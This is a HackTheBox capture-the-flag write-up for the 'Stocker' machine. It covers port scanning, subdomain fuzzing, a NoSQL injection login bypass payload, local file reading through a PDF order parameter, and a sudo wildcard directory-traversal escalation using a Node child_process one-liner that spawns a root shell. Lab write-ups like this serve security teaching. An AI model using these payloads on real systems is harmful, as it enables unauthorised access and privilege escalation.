Stocker HacktheBox Writeup

Stocker HacktheBox Writeup

Stocker is a release on HacktheBox with a web application containing an LFI vulnerability & a directory traversal vulnerability in a user’s sudo permissions. Let’s root it!

Enumeration && Foothold

First, we start off with an nmap scan of the target IP in order to identify any open ports:

┌─[✗]─[stitch@parrot]─[~/HTB/machines/stocker]
└──╼ $sudo nmap -sS -sV 10.129.174.170 -oA nmap/stocker_tcp
[sudo] password for stitch: 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-25 20:09 MST
Nmap scan report for 10.129.174.170
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.94 seconds

---
┌─[✗]─[stitch@parrot]─[~/HTB/machines/stocker]
└──╼ $sudo nmap -sU -F 10.129.174.170 -oA nmap/stocker_udp
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-25 20:10 MST
Nmap scan report for dev.stocker.htb (10.129.174.170)
Host is up (0.20s latency).
Not shown: 99 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 110.34 seconds

We find that there is a website running on port 80

The copy on the website suggests that there may be a development version of the site. So, let’s fuzz for subdomains using a tool like wfuzz:

┌─[stitch@parrot]─[~/HTB/machines/stocker]
└──╼ $wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://stocker.htb/ -H "HOST: FUZZ.stocker.htb" --hw 12
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://stocker.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                      
=====================================================================

000000019:   302        0 L      4 W        28 Ch       "dev - dev" 

We find a dev.stocker.htb subdomain! (add this to /etc/hosts)

Visiting this website, we can find a sign in page.

We find that the dev site is using Express which often uses a nosql database. So, let’s try for a nosql injection on the sign in page here using payloads from this github repo

Specifically, let’s try the following payload that injects if username does not equal null and password does not equal null:

{"username": {"$ne": null}, "password": {"$ne": null}}

For this part, I used BurpSuite’s repeater to test the payloads & see which one gives me the best result.

As you can see above, we need to change the Content-Type in hte header to Application/json. Then, sending a json nosqli payload seems to give us a 302 found redirect to the /stock page. So it appears that this website is vulnerable to nosql authentication bypass. We can send this request in our main browser to gain access to the /stock webpage hidden behind the login.

Adding an item to our cart, viewing the cart, then submitting the order gives us a link to view our order. It looks like the web application is converting our order to a pdf.

We can capture the request here and see what parameters are passed to the application. Then modify those parameters using BurpSuite’s repeater in order to test the application.

POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 163
DNT: 1
Connection: close
Cookie: connect.sid=s%3AW46evqLeg-9m0yw-YB6K2EiPKB2qmw_E.227J6EZSYyVh0rHB%2B8ktz0f%2BOnmSnDqIIiE%2BVLxzxL0

{"basket":[{"_id":"638f116eeb060210cbd83a8f","title":"Bin","description":"It's a rubbish bin.","image":"bin.jpg","price":76,"currentStock":15,"__v":0,"amount":2}]}

After testing this web application, we find that we can leverage the “Title” parameter to view files on the system. Using this, we are able to find a password in the index.js file for the dev site. And, usernames on the box by reading /etc/passwd.

From here, we ssh into the target machine as user angoose using password found index.js, and get the user flag from the user’s home directory!

Privilege Escalation && Root

We first check to see what angoose can run as sudo on the machine.

angoose@stocker:~$ sudo -l
[sudo] password for angoose: 
Sorry, try again.
[sudo] password for angoose: 
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

The wildcard in the above command is dangerous as it allows us to use directory traversal to run a malicious .js script in a directory that we can write to.

In this case, let’s use the following one liner to spawn a root shell (Contents of stitch.js)

require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
angoose@stocker:/tmp$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/stitch.js
# ls
Crashpad
mongodb-27017.sock
snap-private-tmp
stitch.js
systemd-private-79593d16e688409a8fa9543577371a73-fwupd.service-kjv9Hg
systemd-private-79593d16e688409a8fa9543577371a73-haveged.service-yPvAzg
systemd-private-79593d16e688409a8fa9543577371a73-ModemManager.service-kG5ndg
systemd-private-79593d16e688409a8fa9543577371a73-systemd-logind.service-3SexIh
systemd-private-79593d16e688409a8fa9543577371a73-systemd-resolved.service-tZKvlj
systemd-private-79593d16e688409a8fa9543577371a73-systemd-timesyncd.service-Vqbh6h
vmware-root_682-2697467275
# whoami
root
# cd /root
# ls 
root.txt
# cat root.txt

And that’s it! We are root.